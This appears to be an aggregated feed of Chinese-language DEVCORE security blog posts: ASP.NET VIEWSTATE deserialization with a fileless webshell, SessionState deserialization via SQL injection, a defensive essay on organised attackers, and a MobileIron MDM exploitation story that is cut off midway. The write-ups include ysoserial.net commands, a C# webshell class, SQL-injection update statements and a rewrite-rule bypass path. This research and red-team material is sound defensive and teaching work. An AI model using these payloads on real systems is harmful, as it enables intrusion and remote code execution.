Quantcast
Channel: DEVCORE 戴夫寇爾

玩轉 ASP.NET VIEWSTATE 反序列化攻擊、建立無檔案後門

$
0
0

前言

這篇文章呼應我在研討會 DEVCORE Conference 2019分享的主題,如何用小缺陷一步步擊破使用 ASP.NET 框架所撰寫的堅固的網站應用程式,其中之一的內容就是關於我們在此之前過往紅隊演練專案中,成功數次透過 VIEWSTATE 的反序列化攻擊並製造進入內網突破口的利用方式以及心得,也就是此篇文章的主題。

內文

最近微軟產品 Exchange Server 爆出一個嚴重漏洞 CVE-2020-0688,問題發生的原因是每台 Exchange Server 安裝完後在某個 Component 中都使用了同一把固定的 Machine Key,而相信大家都已經很熟悉取得 Machine Key 之後的利用套路了,可以竄改 ASP.NET Form 中的 VIEWSTATE 參數值以進行反序列化攻擊,從而達成 Remote Code Execution 控制整台主機伺服器。

更詳細的 CVE-2020-0688 漏洞細節可以參考 ZDI blog:

對於 VIEWSTATE exploit 分析在網路上已經有無數篇文章進行深入的探討,所以在此篇文章中將不再重複贅述,而今天主要想聊聊的是關於 VIEWSTATE exploit 在滲透測試中如何進行利用。

最基本、常見的方式是直接使用工具 ysoserial.net的 ViewState Plugin 產生合法 MAC 與正確的加密內容,TypeConfuseDelegate gadget 經過一連串反射呼叫後預設會 invoke Process.Start 呼叫 cmd.exe,就可以觸發執行任意系統指令。

例如:

ysoserial.exe -p ViewState -g TypeConfuseDelegate
              -c "echo 123 > c:\pwn.txt"
              --generator="CA0B0334"
              --validationalg="SHA1"
              --validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"

異常的 VIEWSTATE 通常會導致 aspx 頁面回應 500 Internal Server Error,所以我們也無法直接得知指令執行的結果,但既然有了任意執行,要用 PowerShell 回彈 Reverse Shell 或回傳指令結果到外部伺服器上並不是件難事。

But ..

在滲透測試的實戰中,事情往往沒這麼美好。現今企業資安意識都相對高,目標伺服器環境出現以下幾種限制都已是常態:

  • 封鎖所有主動對外連線
  • 禁止查詢外部 DNS
  • 網頁目錄無法寫入
  • 網頁目錄雖可寫,但存在 Website Defacement 防禦機制,會自動復原檔案

所以這時就可以充分利用另一個 ActivitySurrogateSelectorFromFile gadget 的能力,這個 gadget 利用呼叫 Assembly.Load 動態載入 .NET 組件達成 Remote Code Execution,換句話說,可以使我們擁有在與 aspx 頁面同一個 Runtime 環境中執行任意 .NET 語言程式碼的能力,而 .NET 預設都會存在一些指向共有資源的全域靜態變數可以使用,例如 System.Web.HttpContext.Current就可以取得當下 HTTP 請求上下文的物件,也就像是我們能利用它來執行自己撰寫的 aspx 網頁的感覺,並且過程全是在記憶體中動態處理,於是就等同於建立了無檔案的 WebShell 後門!

我們只需要修改 -g 的參數成 ActivitySurrogateSelectorFromFile,而 -c 參數放的就不再是系統指令而是想執行的 ExploitClass.cs C# 程式碼檔案,後面用 ; 分號分隔加上所依賴需要引入的 dll。

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile
              -c "ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll"
              --generator="CA0B0334"
              --validationalg="SHA1"
              --validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"

關於需要引入的 dll 可以在安裝了 .NET Framework 的 Windows 主機上找到,像我的環境是在這個路徑 C:\Windows\Microsoft.NET\Framework64\v4.0.30319之中。

至於最關鍵的 ExploitClass.cs 該如何撰寫呢?將來會試著提交給 ysoserial.net,就可以在範例檔案裡找到它,或是可以先直接看這裡:

classE{publicE(){System.Web.HttpContextcontext=System.Web.HttpContext.Current;context.Server.ClearError();context.Response.Clear();try{System.Diagnostics.Processprocess=newSystem.Diagnostics.Process();process.StartInfo.FileName="cmd.exe";stringcmd=context.Request.Form["cmd"];process.StartInfo.Arguments="/c "+cmd;process.StartInfo.RedirectStandardOutput=true;process.StartInfo.RedirectStandardError=true;process.StartInfo.UseShellExecute=false;process.Start();stringoutput=process.StandardOutput.ReadToEnd();context.Response.Write(output);}catch(System.Exception){}context.Response.Flush();context.Response.End();}}

其中 Server.ClearError()Response.End()都是必要且重要的一步,因為異常的 VIEWSTATE 必然會使得 aspx 頁面回應 500 或其他非預期的 Server Error,而呼叫第一個函式可以協助清除在當前 Runtime 環境下 stack 中所記錄的錯誤,而呼叫 End() 可以讓 ASP.NET 將當前上下文標記為請求已處理完成並直接將 Response 回應給客戶端,避免程式繼續進入其他 Error Handler 處理導致無法取得指令執行的輸出結果。

到這個步驟的話,理論上你只要送出請求時固定帶上這個惡意 VIEWSTATE,就可以像操作一般 WebShell 一樣:

不過有時也會出現這種情境:

不論怎麼改 Payload 再重送永遠都是得到 Server Error,於是就開始懷疑自己的人生 Q_Q

但也別急著灰心,可能只是你遇上的目標有很乖地定期更新了伺服器而已,因為微軟曾為了 ActivitySurrogateSelector 這個 gadget 加上了一些 patch,導致無法直接利用,好在有其他研究者馬上提供了解決方法使得這個 gadget 能再次被利用!

詳細細節可以閱讀這篇文章:Re-Animating ActivitySurrogateSelector By Nick Landers

總而言之,如果遇到上述情形,可以先嘗試用以下指令產生 VIEWSTATE 並發送一次給伺服器,順利的話就能使目標 Runtime 環境下的 DisableActivitySurrogateSelectorTypeCheck 變數值被設為 true,隨後再發送的 ActivitySurrogateSelector gadget 就不會再噴出 500 Server Error 了。

ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck
              -c "ignore"
              --generator="CA0B0334"
              --validationalg="SHA1"
              --validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"

如果上述一切都很順利、成功執行系統指令並回傳了結果,基本上就足夠做大部分事情,而剩下的就是繼續盡情發揮你的想像力吧!

不過有時候即便到了此一步驟還是會有不明的錯誤、不明的原因導致 MAC 計算始終是錯誤的,因為 .NET 內部演算法以及需要的環境參數組合稍微複雜,使得工具沒辦法輕易涵蓋所有可能情況,而當遇到這種情形時,我目前選擇的解決方法都是發揮工人智慧,嘗試在本機建立環境、設定相同的 MachineKey、手工撰寫 aspx 檔案,產生包含 gadget 的 VIEWSTATE 再轉送到目標主機上。如果你有更多發現或不一樣的想法願意分享的話,也歡迎來和我交流聊聊天。


從 SQL 到 RCE: 利用 SessionState 反序列化攻擊 ASP.NET 網站應用程式

$
0
0

今日來聊聊在去年某次滲透測試過中發現的趣事,那是在一個風和日麗的下午,與往常一樣進行著枯燥的測試環節,對每個參數嘗試各種可能的注入,但遲遲沒有任何進展和突破,直到在某個頁面上注入 ?id=1; waitfor delay '00:00:05'--,然後他就卡住了,過了恰好 5 秒鐘後伺服器又有回應,這表示我們找到一個 SQL Server 上的 SQL Injection!

一些陳舊、龐大的系統中,因為一些複雜的因素,往往仍使用著 sa 帳戶來登入 SQL Server,而在有如此高權限的資料庫帳戶前提下,我們可以輕易利用 xp_cmdshell 來執行系統指令以取得資料庫伺服器的作業系統控制權,但假如故事有如此順利,就不會出現這篇文章,所以理所當然我們取得的資料庫帳戶並沒有足夠權限。但因為發現的 SQL Injection 是 Stacked based,我們仍然可以對資料表做 CRUD,運氣好控制到一些網站設定變數的話,甚至可以直接達成 RCE,所以還是試著 dump schema 以了解架構,而在 dump 過程中發現了一個有趣的資料庫:

Database: ASPState
[2 tables]
+---------------------------------------+
| dbo.ASPStateTempApplications          |
| dbo.ASPStateTempSessions              |
+---------------------------------------+

閱讀文件後了解到,這個資料庫的存在用途是用來保存 ASP.NET 網站應用程式的 session。一般情況下預設 session 是儲存在 ASP.NET 網站應用程式的記憶體中,但某些分散式架構(例如 Load Balance 架構)的情況下,同時會有多個一模一樣的 ASP.NET 網站應用程式運行在不同伺服器主機上,而使用者每次請求時被分配到的伺服器主機也不會完全一致,就會需要有可以讓多個主機共享 session 的機制,而儲存在 SQL Server 上就是一種解決方案之一,想啟用這個機制可以在 web.config 中添加如下設定:

<configuration><system.web><!-- 將 session 保存在 SQL Server 中。 --><sessionStatemode="SQLServer"sqlConnectionString="data source=127.0.0.1;user id=<username>;password=<password>"timeout="20"/><!-- 預設值,將 session 保存在記憶體中。 --><!-- <sessionState mode="InProc" timeout="20" /> --><!-- 將 session 保存在 ASP.NET State Service 中,
             另一種跨主機共享 session 的解決方案。 --><!--
        <sessionState
            mode="StateServer"
            stateConnectionString="tcpip=localhost:42424"
            timeout="20"
        />
        --></system.web></configuration>

而要在資料庫中建立 ASPState 的資料庫,可以利用內建的工具 C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe完成這個任務,只需要使用下述指令即可:

# 建立 ASPState 資料庫
aspnet_regsql.exe -S 127.0.0.1 -U sa -P password -ssadd-sstype p

# 移除 ASPState 資料庫
aspnet_regsql.exe -S 127.0.0.1 -U sa -P password -ssremove-sstype p

現在我們了解如何設定 session 的儲存位置,且又可以控制 ASPState 資料庫,可以做到些什麼呢?這就是文章標題的重點,取得 Remote Code Execution!

ASP.NET 允許我們在 session 中儲存一些物件,例如儲存一個 List 物件:Session["secret"] = new List<String>() { "secret string" };,對於如何將這些物件保存到 SQL Server 上,理所當然地使用了序列化機制來處理,而我們又控制了資料庫,所以也能執行任意反序列化,為此需要先了解 Session 物件序列化與反序列化的過程。

簡單閱讀程式碼後,很快就可以定位出處理相關過程的類別,為了縮減說明的篇幅,以下將直接切入重點說明從資料庫取出資料後進行了什麼樣的反序列化操作。核心主要是透過呼叫 SqlSessionStateStore.GetItem函式還原出 Session 物件,雖然已盡可能把無關緊要的程式碼移除,但行數還是偏多,如果懶得閱讀程式碼的朋友可以直接下拉繼續看文章說明 XD

namespaceSystem.Web.SessionState{internalclassSqlSessionStateStore:SessionStateStoreProviderBase{publicoverrideSessionStateStoreDataGetItem(HttpContextcontext,Stringid,outboollocked,outTimeSpanlockAge,outobjectlockId,outSessionStateActionsactionFlags){SessionIDManager.CheckIdLength(id,true/* throwOnFail */);returnDoGet(context,id,false,outlocked,outlockAge,outlockId,outactionFlags);}SessionStateStoreDataDoGet(HttpContextcontext,Stringid,boolgetExclusive,outboollocked,outTimeSpanlockAge,outobjectlockId,outSessionStateActionsactionFlags){SqlDataReaderreader;byte[]buf;MemoryStreamstream=null;SessionStateStoreDataitem;SqlStateConnectionconn=null;SqlCommandcmd=null;boolusePooling=true;buf=null;reader=null;conn=GetConnection(id,refusePooling);try{if(getExclusive){cmd=conn.TempGetExclusive;}else{cmd=conn.TempGet;}cmd.Parameters[0].Value=id+_partitionInfo.AppSuffix;// @idcmd.Parameters[1].Value=Convert.DBNull;// @itemShortcmd.Parameters[2].Value=Convert.DBNull;// @lockedcmd.Parameters[3].Value=Convert.DBNull;// @lockDate or @lockAgecmd.Parameters[4].Value=Convert.DBNull;// @lockCookiecmd.Parameters[5].Value=Convert.DBNull;// @actionFlagsusing(reader=SqlExecuteReaderWithRetry(cmd,CommandBehavior.Default)){if(reader!=null){try{if(reader.Read()){buf=(byte[])reader[0];}}catch(Exceptione){ThrowSqlConnectionException(cmd.Connection,e);}}}if(buf==null){/* Get short item */buf=(byte[])cmd.Parameters[1].Value;}using(stream=newMemoryStream(buf)){item=SessionStateUtility.DeserializeStoreData(context,stream,s_configCompressionEnabled);_rqOrigStreamLen=(int)stream.Position;}returnitem;}finally{DisposeOrReuseConnection(refconn,usePooling);}}classSqlStateConnection:IDisposable{internalSqlCommandTempGet{get{if(_cmdTempGet==null){_cmdTempGet=newSqlCommand("dbo.TempGetStateItem3",_sqlConnection);_cmdTempGet.CommandType=CommandType.StoredProcedure;_cmdTempGet.CommandTimeout=s_commandTimeout;// ignore process of setting parameters}return_cmdTempGet;}}}}}

我們可以從程式碼清楚看出主要是呼叫 ASPState.dbo.TempGetStateItem3 Stored Procedure 取得 Session 的序列化二進制資料並保存到 buf 變數,最後將 buf 傳入 SessionStateUtility.DeserializeStoreData進行反序列化還原出 Session 物件,而 TempGetStateItem3 這個 SP 則是相當於在執行 SELECT SessionItemShort FROM [ASPState].dbo.ASPStateTempSessions,所以可以知道 Session 是儲存在 ASPStateTempSessions 資料表的 SessionItemShort 欄位中。接著讓我們繼續往下看關鍵的 DeserializeStoreData 做了什麼樣的操作。同樣地,行數偏多,有需求的朋友請自行下拉 XD

namespaceSystem.Web.SessionState{publicstaticclassSessionStateUtility{[SecurityPermission(SecurityAction.Assert,SerializationFormatter=true)]internalstaticSessionStateStoreDataDeserialize(HttpContextcontext,Streamstream){inttimeout;SessionStateItemCollectionsessionItems;boolhasItems;boolhasStaticObjects;HttpStaticObjectsCollectionstaticObjects;Byteeof;try{BinaryReaderreader=newBinaryReader(stream);timeout=reader.ReadInt32();hasItems=reader.ReadBoolean();hasStaticObjects=reader.ReadBoolean();if(hasItems){sessionItems=SessionStateItemCollection.Deserialize(reader);}else{sessionItems=newSessionStateItemCollection();}if(hasStaticObjects){staticObjects=HttpStaticObjectsCollection.Deserialize(reader);}else{staticObjects=SessionStateUtility.GetSessionStaticObjects(context);}eof=reader.ReadByte();if(eof!=0xff){thrownewHttpException(SR.GetString(SR.Invalid_session_state));}}catch(EndOfStreamException){thrownewHttpException(SR.GetString(SR.Invalid_session_state));}returnnewSessionStateStoreData(sessionItems,staticObjects,timeout);}staticinternalSessionStateStoreDataDeserializeStoreData(HttpContextcontext,Streamstream,boolcompressionEnabled){returnSessionStateUtility.Deserialize(context,stream);}}}

我們可以看到實際上 DeserializeStoreData 又是把反序列化過程轉交給其他類別,而依據取出的資料不同,可能會轉交給 SessionStateItemCollection.DeserializeHttpStaticObjectsCollection.Deserialize做處理,在觀察程式碼後發現 HttpStaticObjectsCollection的處理相對單純,所以我個人就選擇往這個分支下去研究。

namespaceSystem.Web{publicsealedclassHttpStaticObjectsCollection:ICollection{staticpublicHttpStaticObjectsCollectionDeserialize(BinaryReaderreader){intcount;stringname;stringtypename;boolhasInstance;Objectinstance;HttpStaticObjectsEntryentry;HttpStaticObjectsCollectioncol;col=newHttpStaticObjectsCollection();count=reader.ReadInt32();while(count-->0){name=reader.ReadString();hasInstance=reader.ReadBoolean();if(hasInstance){instance=AltSerialization.ReadValueFromStream(reader);entry=newHttpStaticObjectsEntry(name,instance,0);}else{// skipped}col._objects.Add(name,entry);}returncol;}}}

跟進去一看,發現 HttpStaticObjectsCollection 取出一些 bytes 之後,又把過程轉交給 AltSerialization.ReadValueFromStream進行處理,看到這的朋友們或許會臉上三條線地心想:「該不會又要追進去吧 . . 」,不過其實到此為止就已足夠,因為 AltSerialization 實際上類似於 BinaryFormatter 的包裝,到此已經有足夠資訊作利用,另外還有一個原因兼好消息,當初我程式碼追到此處時,上網一查這個物件,發現 ysoserial.net已經有建立 AltSerialization 反序列化 payload 的 plugin,所以可以直接掏出這個利器來使用!下面一行指令就可以產生執行系統指令 calc.exe 的 base64 編碼後的 payload。

ysoserial.exe -p Altserialization -M HttpStaticObjectsCollection -obase64-c"calc.exe"

不過到此還是有個小問題需要解決,ysoserial.net 的 AltSerialization plugin 所建立的 payload 是攻擊 SessionStateItemCollection 或 HttpStaticObjectsCollection 兩個類別的反序列化操作,而我們儲存在資料庫中的 session 序列化資料是由在此之上還額外作了一層包裝的 SessionStateUtility 類別處理的,所以必須要再做點修飾。回頭再去看看程式碼,會發現 SessionStateUtility 也只添加了幾個 bytes,減化後如下所示:

timeout=reader.ReadInt32();hasItems=reader.ReadBoolean();hasStaticObjects=reader.ReadBoolean();if(hasStaticObjects)staticObjects=HttpStaticObjectsCollection.Deserialize(reader);eof=reader.ReadByte();

對於 Int32 要添加 4 個 bytes,Boolean 則是 1 個 byte,而因為要讓程式路徑能進入 HttpStaticObjectsCollection 的分支,必須讓第 6 個 byte 為 1 才能讓條件達成,先將原本從 ysoserial.net 產出的 payload 從 base64 轉成 hex 表示,再前後各別添加 6、1 bytes,如下示意圖:

  timeout    false  true            HttpStaticObjectsCollection             eof
┌─────────┐  ┌┐     ┌┐    ┌───────────────────────────────────────────────┐ ┌┐
00 00 00 00  00     01    010000000001140001000000fff ... 略 ... 0000000a0b ff

修飾完的這個 payload 就能用來攻擊 SessionStateUtility 類別了!

最後的步驟就是利用開頭的 SQL Injection 將惡意的序列化內容注入進去資料庫,如果正常瀏覽目標網站時有出現 ASP.NET_SessionId 的 Cookie 就代表已經有一筆對應的 Session 記錄儲存在資料庫裡,所以我們只需要執行如下的 SQL Update 語句:

?id=1; UPDATE ASPState.dbo.ASPStateTempSessions
       SET SessionItemShort = 0x{Hex_Encoded_Payload}
       WHERE SessionId LIKE '{ASP.NET_SessionId}%25'; --

分別將 {ASP.NET_SessionId}替換成自己的 ASP.NET_SessionId 的 Cookie 值以及 {Hex_Encoded_Payload}替換成前面準備好的序列化 payload 即可。

那假如沒有 ASP.NET_SessionId 怎麼辦?這表示目標可能還未儲存任何資料在 Session 之中,所以也就不會產生任何記錄在資料庫裡,但既然沒有的話,那我們就硬塞一個 Cookie 給它!ASP.NET 的 SessionId 是透過亂數產生的 24 個字元,但使用了客製化的字元集,可以直接使用以下的 Python script 產生一組 SessionId,例如:plxtfpabykouhu3grwv1j1qw,之後帶上 Cookie: ASP.NET_SessionId=plxtfpabykouhu3grwv1j1qw瀏覽任一個 aspx 頁面,理論上 ASP.NET 就會自動在資料庫裡添加一筆記錄。

importrandomchars='abcdefghijklmnopqrstuvwxyz012345'print(''.join(random.choice(chars)foriinrange(24)))

假如在資料庫裡仍然沒有任何記錄出現,那就只能手動刻 INSERT 的 SQL 來創造一個記錄,至於如何刻出這部分?只要看看程式碼應該就可以很容易構造出來,所以留給大家自行去玩 :P

等到 Payload 順利注入後,只要再次用這個 Cookie ASP.NET_SessionId=plxtfpabykouhu3grwv1j1qw瀏覽任何一個 aspx 頁面,就會觸發反序列化執行任意系統指令!

題外話,利用 SessionState 的反序列化取得 ASP.NET 網站應用程式主機控制權的場景並不僅限於 SQL Injection。在內網滲透測試的過程中,經常會遇到的情境是,我們透過各方的資訊洩漏 ( 例如:內部 GitLab、任意讀檔等 ) 取得許多 SQL Server 的帳號、密碼,但唯獨取得不了目標 ASP.NET 網站應用程式的 Windows 主機的帳號密碼,而為了達成目標 ( 控制指定的網站主機 ),我們就曾經使用過這個方式取得目標的控制權,所以作為內網橫向移動的手段也是稍微有價值且非常有趣。至於還能有什麼樣的花樣與玩法,就要靠各位持續地發揮想像力!

敵人不是勒贖軟體,而是組織型駭客

$
0
0

前言

駭客攻擊事件一直存在於真實世界,只是鮮少被完整公開揭露。今年國內一些重大關鍵基礎設施 (Critical Information Infrastructure Protection,CIIP) 以及國內的跨國企業紛紛發生嚴重的資安事件,我們想簡單的跟大家談談這些事件背後企業真正需要思考及重視的核心問題。

企業面對的是組織型駭客而不只是勒贖軟體

不知道是因為勒贖軟體比較吸睛還是什麼緣故,媒體比較喜歡用勒贖軟體作為標題呈現近年企業面臨的重大威脅。實際上,勒贖軟體只是攻擊過程的工具、加密只是勒贖的手段之一,甚至包含竊取機敏資料。因為這些事件我們沒有參與調查或相關的活動,我們僅就已公開揭露的資料來一窺面對這樣的威脅,企業的具體做法有哪些?

根據法務部調查局在 iThome 2020 資安大會的分享

在這起攻擊事件中,駭客首先從 Web 伺服器、員工電腦等途徑,入侵公司系統長期潛伏及探測,而後竊取帳號權限,進入 AD 伺服器,利用凌晨時段竄改群組派送原則(GPO),同時預埋 lc.tmp 惡意程式到內部伺服器中,等到員工上班打開電腦後,電腦立即套用遭竄改的 GPO,依據指令就會自動將勒索軟體載到記憶體中來執行。

企業在被勒贖軟體加密後,往往第一時間容易直覺想到防毒軟體或端點防護設備為何沒有生效?現實是,如果企業面對的是針對式的攻擊(Advanced Persistent Threat,APT),攻擊者勢必會研究可以繞過企業的防護或監控的方式。所以企業要思考的應該是一個防禦戰線或更為全面的防護策略,而非仰賴單一的資安設備或服務。

從上述的敘述,我們可以發現幾個問題:

  1. Web 伺服器具有可利用的漏洞,而這個漏洞可能導致主機被取得權限進行後續的橫向移動。造成這個問題的原因可能包含:
    • 系統從未進行高強度的滲透測試及定期執行弱點掃描
    • 屬於老舊無法修補的系統(使用老舊的框架、程式語言)或是廠商已經不再維護
    • 一次性的活動網站或測試網站,活動或測試結束後未依照程序下線,成為企業防禦破口
    • 不在企業盤點的防護範圍內(如前端未設置 WAF)
  2. 從員工電腦或是 Web 伺服器可以逐步跳到 AD 伺服器,可能存在的問題則包含:
    • 網路間的區隔不嚴謹,例如未依照資料或系統的重要性進行區隔
    • 同網段伺服器間的通訊方式管控不當,沒有開啟或管制重要伺服器的通訊埠或限制來源 IP 位址
    • 系統存在可利用取得權限的弱點
  3. 利用凌晨時段竄改群組派送原則:最後是回應機制未即時(包含人員接獲告警後處理不當),企業對於具有集中管理權限的重要系統,例如 AD Server、資產管理軟體等這類型的主機,除了對特權帳號高強度的管理外(如 OTP),也應該針對「異常帳號登入」、「異常帳號新增到群組」、「正常帳號異常登入時間」、「新增排程或 GPO」等行為發出告警;而各種告警也應該依照資產的重要性訂定不同的 SLA 回應與處理。

你需要更全面、目標導向的方式思考企業資安現況

我們在近三年的紅隊演練,以企業對其營運最關鍵的資訊資產作為演練標的,並模擬組織型駭客的攻擊模式,透過外部情搜、取得外部系統權限、橫向移動、持續取得更多內部伺服器權限及提權、破解密碼,最終達到企業指定的關鍵資產執行演練情境。而企業透過高強度且精準的演練過程,除了明確掌握可被入侵的路徑外,更得以檢視上述問題的不足並持續改善。

我們認為,只要你的企業夠重要(對駭客而言重要,而不是自己覺得重要),組織型的攻擊就不會停歇!企業唯有不斷的找出自己不足之處,持續提升自己的防禦強度才是能真正降低風險的正確作法。

至於「第三方供應鏈安全」及「如何更完整的制定資安策略」,我們將找時間另外跟大家說明。

看我如何再一次駭進 Facebook,一個在 MobileIron MDM 上的遠端程式碼執行漏洞!

$
0
0

English Version
中文版本

嗨! 好久不見,這是我在今年年初的研究,講述如何尋找一款知名行動裝置管理產品的漏洞,並繞過層層保護取得遠端程式碼執行的故事! 其中的漏洞經回報後在六月由官方釋出修補程式並緊急通知他們的客戶,而我們也在修補程式釋出 15 天後發現 Facebook 並未及時更新,因此透過漏洞取得伺服器權限並回報給 Facebook!

此份研究同時發表於 HITCON 2020,你可以從這裡取得這次演講的投影片!


身為一個專業的紅隊,我們一直在尋找著更快速可以從外部進入企業內網的最佳途徑! 如同我們去年在 Black Hat USA發表的研究,SSL VPN 理所當然會放在外部網路,成為保護著網路安全、使員工進入內部網路的基礎設施,而當你所信任、並且用來保護你安全的設備不再安全了,你該怎麼辦?

由此為發想,我們開始尋找著有沒有新的企業網路脆弱點可當成我們紅隊攻擊滲透企業的初始進入點,在調查的過程中我們對 MDM/UEM 開始產生了興趣,而這篇文章就是從此發展出來的研究成果!

什麼是 MDM/UEM ?

Mobile Device Management,簡稱 MDM,約是在 2012 年間,個人手機、平板裝置開始興起時,為了使企業更好的管理員工的 BYOD 裝置,應運而生的資產盤點系統,企業可以透過 MDM 產品,管理員工的行動裝置,確保裝置只在信任的環境、政策下運行,也可以從中心的端點伺服器,針對所控制的手機,部署應用程式、安裝憑證甚至遠端操控以管理企業資產,更可以在裝置遺失時,透過 MDM 遠端上鎖,或是抹除整台裝置資料達到企業隱私不外漏的目的!

UEM (Unified Endpoint Management) 則為近幾年來更新的一個術語,其核心皆為行動裝置的管理,只是 UEM 一詞包含更廣的裝置定義! 我們以下皆用 MDM 一詞來代指同類產品。

我們的目標

MDM 作為一個中心化的端點控制系統,可以控制、並管理旗下所有員工個人裝置! 對日益壯大的企業來說,絕對是一個最佳的資產盤點產品,相對的,對駭客來說也是! 而為了管理來自世界各地的員工裝置連線,MDM 又勢必得曝露在外網。 一個可以「管理員工裝置」又「放置在外網」的設備,這對我們的紅隊演練來說無疑是最棒的滲透管道!

另外,從這幾年的安全趨勢也不難發現 MDM 逐漸成為駭客、APT 組織的首選目標! 誘使受害者同意惡意的 MDM 成為你裝置的 C&C 伺服器,或是乾脆入侵企業放置在外網的 MDM 設備,在批次地派送行動裝置木馬感染所有企業員工手機、電腦,以達到進一步的攻擊! 這些都已成真,詳細的報告可參閱 Cisco Talos 團隊所發表的 Malicious MDM: Let’s Hide This App以及 CheckPoint CPR 團隊所發表的 First seen in the wild - Malware uses Corporate MDM as attack vector!

從前面的幾個案例我們得知 MDM 對於企業安全來說,是一個很好的切入點,因此我們開始研究相關的攻擊面! 而市面上 MDM 廠商有非常多,各個大廠如 Microsoft、IBM 甚至 Apple 都有推出自己的 MDM 產品,我們要挑選哪個開始成為我們的研究對象呢?

因此我們透過公開情報列舉了市面上常見的 MDM 產品,並配合各家特徵對全世界進行了一次掃描,發現最多企業使用的 MDM 為 VMware AirWatch 與 MobileIron 這兩套產品! 至於要挑哪一家研究呢? 我們選擇了後者,除了考量到大部分的客戶都是使用 MobileIron 外,另外一個吸引我的點則是 Facebook 也是他們的客戶! 從我們在 2016 年發表的 How I Hacked Facebook, and Found Someone’s Backdoor Script研究中,就已發現 Facebook 使用 MobileIron 作為他們的 MDM 解決方案!

根據 MobileIron 官方網站描述,至少有 20000+ 的企業使用 MobileIron 當成他們的 MDM 解決方案,而根據我們實際對全世界的掃描,也至少有 15% 以上的財富世界 500 大企業使用 MobileIron 且曝露在外網(實際上一定更多),因此,尋找 MobileIron 的漏洞也就變成我們的首要目標!

如何開始研究

過往出現過的漏洞可以得知 MobileIron 並沒有受到太多安全人員研究,其中原因除了 MDM 這個攻擊向量尚未廣為人知外,另一個可能是因為關於 MobileIron 的相關韌體太難取得,研究一款設備最大的問題是如何從純粹的黑箱,到可以分析的灰箱、甚至白箱! 由於無法從官網下載韌體,我們花費了好幾天嘗試著各種關鍵字在網路上尋找可利用的公開資訊,最後才在 Goolge Search 索引到的其中一個公開網站根目錄上發現疑似是開發商測試用的 RPM 包。

下載回的韌體為 2018 年初的版本,離現在也有很長一段時間,也許核心程式碼也大改過,不過總比什麼都沒有好,因此我們就從這份檔案開始研究起。

備註: 經通知 MobileIron 官方後,此開發商網站已關閉。

如何尋找漏洞

整個 MobileIron 使用 Java 作為主要開發語言,對外開放的連接埠為 443, 8443, 9997,各個連接埠對應功能如下:

  • 443 為使用者裝置註冊介面
  • 8443 為設備管理介面
  • 9997 為一個 MobileIron 私有的裝置同步協定 (MI Protocol)

三個連接埠皆透過 TLS 保護連線的安全性及完整性,網頁部分則是透過 Apache 的 Reverse Proxy 架構將連線導至後方,由 Tomcat 部署的網頁應用處理,網頁應用則由 Spring MVC 開發。

由於使用的技術架構相對新,傳統類型的漏洞如 SQL Injection 也較難從單一的點來發現,因此理解程式邏輯並配合架構層面的攻擊就變成我們這次尋找漏洞的主要目標!

這次的漏洞也很簡單,主要是 Web Service 使用了 Hessian 格式處理資料進而產生了反序列化的弱點! 雖然漏洞一句話就可以解釋完了,但懂的人才知道反序列化並不代表你可以做任何事,接下來的利用才是精彩的地方!

現在已知 MobileIron 在處理 Web Service 的地方存在 Hessian 反序列化漏洞! 但漏洞存在,並不代表我們碰得到漏洞,可以觸發 Hessian 反序列化的路徑分別在:

  • 一般使用者介面 - https://mobileiron/mifs/services/
  • 管理介面 - https://mobileiron:8443/mifs/services/

管理介面基本上沒有任何阻擋,可以輕鬆的碰到 Web Service,而一般使用者介面的 Web Service 則無法存取,這對我們來說是一個致命性的打擊,由於大部分企業的網路架構並不會將管理介面的連接埠開放在外部網路,因此只能攻擊管理介面對於的利用程度並不大,因此我們必須尋找其他的方式去觸發這個漏洞!

仔細觀察 MobileIron 的阻擋方式,發現它是透過在 Apache 上使用 Rewrite Rules 去阻擋對一般使用者介面 Web Service 的存取:

RewriteRule ^/mifs/services/(.*)$ https://%{SERVER_NAME}:8443/mifs/services/$1 [R=307,L]
RewriteRule ^/mifs/services [F]

嗯,很棒! 使用 Reverse Proxy 架構而且是在前面那層做阻擋,你是否想到什麼呢?




沒錯! 就是我們在 2015 年發現,並且在 Black Hat USA 2018上所發表的針對 Reverse Proxy 架構的新攻擊面 Breaking Parser Logic! 這個優秀的技巧最近也被很好的利用在 CVE-2020-5902,F5 BIG-IP TMUI 的遠端程式碼執行上!

透過 Apache 與 Tomcat 對路徑理解的不一致,我們可以透過以下方式繞過 Rewrite Rule 再一次攻擊 Web Service!

https://mobileiron/mifs/.;/services/someService

碰! 因此現在不管是 8443 的管理介面還是 443 的一般使用者介面,我們都可以碰到有 Hessian 反序列化存在的 Web Service 了!

如何利用漏洞

現在讓我們回到 Hessian 反序列化的利用上! 針對 Hessian 反序列化,Moritz Bechler已經在他的 Java Unmarshaller Security中做了一個很詳細的研究報告! 從他所開源的 marshalsec原始碼中,我們也學習到 Hessian 在反序列化過程中除了透過 HashMap 觸發 equals()以及 hashcode()等觸發點外,也可透過 XString串出 toString(),而目前關於 Hessian 反序列化已存在的利用鏈有四條:

  • Apache XBean
  • Caucho Resin
  • Spring AOP
  • ROME EqualsBean/ToStringBean

而根據我們的目標環境,可以觸發的只有 Spring AOP 這條利用鏈!

 NameEffect
xApache XBeanJNDI 注入
xCaucho ResinJNDI 注入
Spring AOPJNDI 注入
xROME EqualsBeanRCE

無論如何,我們現在有了 JNDI 注入後,接下來只要透過 Alvaro MuñozOleksandr Mirosh在 Black Hat USA 2016 上所發表的 A Journey From JNDI/LDAP to Remote Code Execution Dream Land就可以取得遠端程式碼執行了… 甘安內?


自從 Alvaro MuñozOleksandr Mirosh在 Black Hat 發表了這個新的攻擊向量後,不知道幫助了多少大大小小的駭客,甚至會有人認為「遇到反序列化就用 JNDI 送就對了!」,但自從 2018 年十月,Java 終於把關於 JNDI 注入的最後一塊拼圖給修復,這個修復被記載在 CVE-2018-3149中,自此之後,所有 Java 高於 8u181, 7u191, 6u201 的版本皆無法透過 JNDI/LDAP 的方式執行程式碼,因此若要在最新版本的 MobileIron 上實現攻擊,我們勢必得面對這個問題!

關於 CVE-2018-3149,是透過將 com.sun.jndi.ldap.object.trustURLCodebase的預設值改為 False的方式以達到禁止攻擊者下載遠端 Bytecode 取得執行程式碼。

